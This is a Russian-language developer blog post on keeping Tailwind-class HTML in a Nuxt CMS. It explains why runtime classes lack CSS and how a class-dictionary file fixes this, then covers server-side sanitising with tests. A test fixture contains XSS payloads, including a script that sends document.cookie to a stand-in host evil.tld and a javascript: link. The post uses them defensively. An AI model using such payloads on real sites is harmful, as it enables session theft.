
Начну со спорного решения: я храню в базе готовый HTML с Tailwind‑классами.
Не Markdown, не JSON‑схему блоков, а буквально это:
<div class="grid gap-4 sm:grid-cols-2"> <section class="rounded-2xl bg-indigo-50 p-5"> <h3 class="text-lg font-black">Оплата</h3> <p class="mt-2 text-sm text-gray-700">СБП и эквайринг</p> </section> </div>
Можно уже идти в комментарии и писать, что HTML в базе — плохая идея. В общем случае соглашусь. Но у меня небольшая CMS, доступ только у доверенных администраторов, а на страницах услуг иногда нужен блок сложнее заголовка с абзацем. Делать компонент под каждую такую вставку не хотелось.
Контент редактируется после деплоя и приезжает в Nuxt через API. На странице всё максимально скучно:
<div v-if="service.bodyHtml" class="rich-html" v-html="service.bodyHtml" />
Первый результат выглядел почти нормально. Именно «почти» и отняло время: p-5 работал, grid работал, а фон и часть адаптивных классов — нет. В DOM все имена присутствовали. Ошибок в консоли тоже не было.
Почему работала только половина классов
В проекте стоит Tailwind CSS 3.4.17. При сборке он просматривает файлы из content, находит похожие на классы строки и генерирует CSS только для них.
Упрощённо конфигурация выглядела так:
export default { content: [ './components/**/*.{vue,js,ts}', './layouts/**/*.vue', './pages/**/*.vue', './composables/**/*.{js,ts}', './app.vue', ], }
PostgreSQL в этот список по понятным причинам не входит. Более того, на этапе nuxt build нужной записи может ещё не существовать: редактор добавит её завтра через админку.
Получается простой разрыв по времени.

Браузер честно получает class="bg-indigo-50", но самого правила .bg-indigo-50 в CSS нет. Атрибут class — не команда Tailwind. На клиенте он уже ничего не генерирует.
А часть оформления работала случайно. Например, p-5 использовался ещё в обычном Vue‑компоненте, поэтому Tailwind встретил эту строку при сборке. Отсюда возможен особенно противный баг: одна и та же разметка выглядит нормально до небольшого рефакторинга соседней страницы, а потом теряет стили, потому что «последнее» статическое упоминание класса исчезло.
Это не баг Tailwind. Он ровно так и задуман. Даже во фронтенд‑коде конструкция вроде bg-${color}-600 проблемна: сканер ищет полные строки, а не исполняет JavaScript. HTML, который появится в базе после сборки, он тем более предсказать не может.
Фальшивый HTML‑файл
Я добавил в проект файл content/cms-classes.html. Пользователь его никогда не увидит. В нём нет контента — только конечный набор классов, которые гарантированно поддерживает редакционная разметка:
<!-- content/cms-classes.html --> <div class=" grid grid-cols-1 grid-cols-2 sm:grid-cols-2 flex flex-col items-center justify-between gap-2 gap-3 gap-4 gap-6 space-y-4 p-3 p-4 p-5 p-6 px-4 py-2 mt-4 mb-6 text-xs text-sm text-base text-lg text-2xl font-medium font-semibold font-bold font-black text-gray-500 text-gray-700 text-indigo-600 bg-white bg-gray-50 bg-indigo-50 dark:bg-white/5 dark:text-gray-300 border border-gray-200 rounded-xl rounded-2xl shadow-sm overflow-x-auto "></div>
Tailwind получает ещё один источник:
export default { content: [ './components/**/*.{vue,js,ts}', './layouts/**/*.vue', './pages/**/*.vue', './content/cms-classes.html', ], }
Да, это по сути safelist, переодетый в HTML. Можно было записать те же строки в safelist внутри конфига. Я выбрал отдельный файл не из‑за производительности или какой‑то скрытой возможности Tailwind. Его просто удобнее открыть и показать редактору как словарь: вот сетки, вот отступы, вот цвета. Эти классы точно отрисуются, остальные — как повезёт.
Есть цена. Новый класс нельзя использовать мгновенно. Сначала он попадает в словарь, затем фронтенд пересобирается. Зато после этого редакторы могут сколько угодно комбинировать известные утилиты без новых деплоев.
Полный Tailwind в сборку я включать не стал. Тащить все размеры, цвета, состояния и responsive‑варианты ради пары страниц — сомнительный обмен. Регулярка в safelist тоже быстро становится менее понятной, особенно когда появляются dark: и sm:.
Тут легко перепутать оформление и безопасность
Вторая половина задачи неприятнее первой. Контент попадает в v-html, а значит проходит мимо обычного экранирования Vue. Сам Tailwind здесь вообще ни от чего не защищает.

Например, наличие w-full в словаре не делает безопасным такой HTML:
<img class="w-full" src="x" >
Поэтому перед сохранением разметка проходит серверную очистку. В текущей реализации выбрасываются script, style, iframe, формы и обработчики on*; отдельно проверяются URL; javascript: и data: не принимаются. Для target="_blank" добавляется rel="noopener noreferrer".
style я запретил не из эстетических соображений. Через position: fixed и высокий z-index можно накрыть настоящую кнопку своим блоком. JavaScript для подмены интерфейса не всегда нужен.
Проверка выглядит грубо, зато понятно:
DIRTY_HTML = ( '<div class="grid gap-4">' '<script>fetch("//evil.tld?c="+document.cookie)</script>' '<img src="x" class="w-full">' '<a href="javascript:alert(1)">клик</a>' '<a href="https://example.com" target="_blank">ссылка</a>' '<p style="position:fixed;inset:0">поверх кнопки</p>' '</div>' )
После сохранения проверяю каждый канал отдельно:
html = response.json()["body_html"] assert "<script" not in html assert "onerror" not in html assert "javascript:" not in html assert "style=" not in html assert 'class="grid gap-4"' in html assert 'rel="noopener noreferrer"' in html
Теперь неудобная часть: санитайзер у меня самописный, на стандартном HTMLParser. Он небольшой и проверяет только ограниченный формат редакционного контента. Считать его универсальной защитой для пользовательского HTML я бы не стал.
Если бы разметку могли присылать неизвестные пользователи, я бы не защищал это решение в код‑ревью. Взял бы поддерживаемую библиотеку, регулярно её обновлял и добавил CSP вторым слоем. HTML и особенно SVG имеют слишком много странных углов, чтобы несколько тестовых payload давали право сказать «теперь безопасно».
Есть ещё одна ловушка: live‑preview в админке существует до сохранения на сервере. Если вставить сырой текст прямо в v-html, серверный санитайзер не поможет — запрос к нему ещё не произошёл. Значит, предпросмотр нужно чистить отдельно на клиенте либо строить через серверную ручку. Это отдельный sink, и его очень легко забыть, сосредоточившись на публичной странице.
Оставил бы я HTML в базе сейчас?
Пока да. Но только при тех же вводных: доступ есть лишь у доверенных администраторов, пользовательского HTML нет, набор доступной вёрстки ограничен, а сложные блоки встречаются редко.
Если блок начинает повторяться, он становится Vue‑компонентом. Если редакторам понадобится настоящий конструктор, следующим шагом будет JSON/AST со строгими типами узлов. Если останутся только статьи и инструкции — Markdown окажется проще.
То есть я не считаю HTML в базе удачной конечной архитектурой. Это дешёвый переходный слой, который позволяет не разрабатывать редактор блоков раньше времени. Его преимущество ровно в этом, и платить за него приходится санитайзером, тестами и ограниченным словарём CSS.
Сама проблема с исчезнувшими стилями исправилась одной строкой:
'./content/cms-classes.html'
Но теперь эта строка означает конкретный договор. Редактор меняет контент без деплоя. Фронтенд определяет язык оформления. Сервер решает, какой HTML вообще разрешено показать браузеру. Пока эти три вещи не смешиваются, схема остаётся управляемой.
Механизм сканирования подробно описан в документации Tailwind. Предупреждение о произвольном HTML есть в руководстве Vue по безопасности, а рекомендации по нескольким слоям защиты — в памятке OWASP.

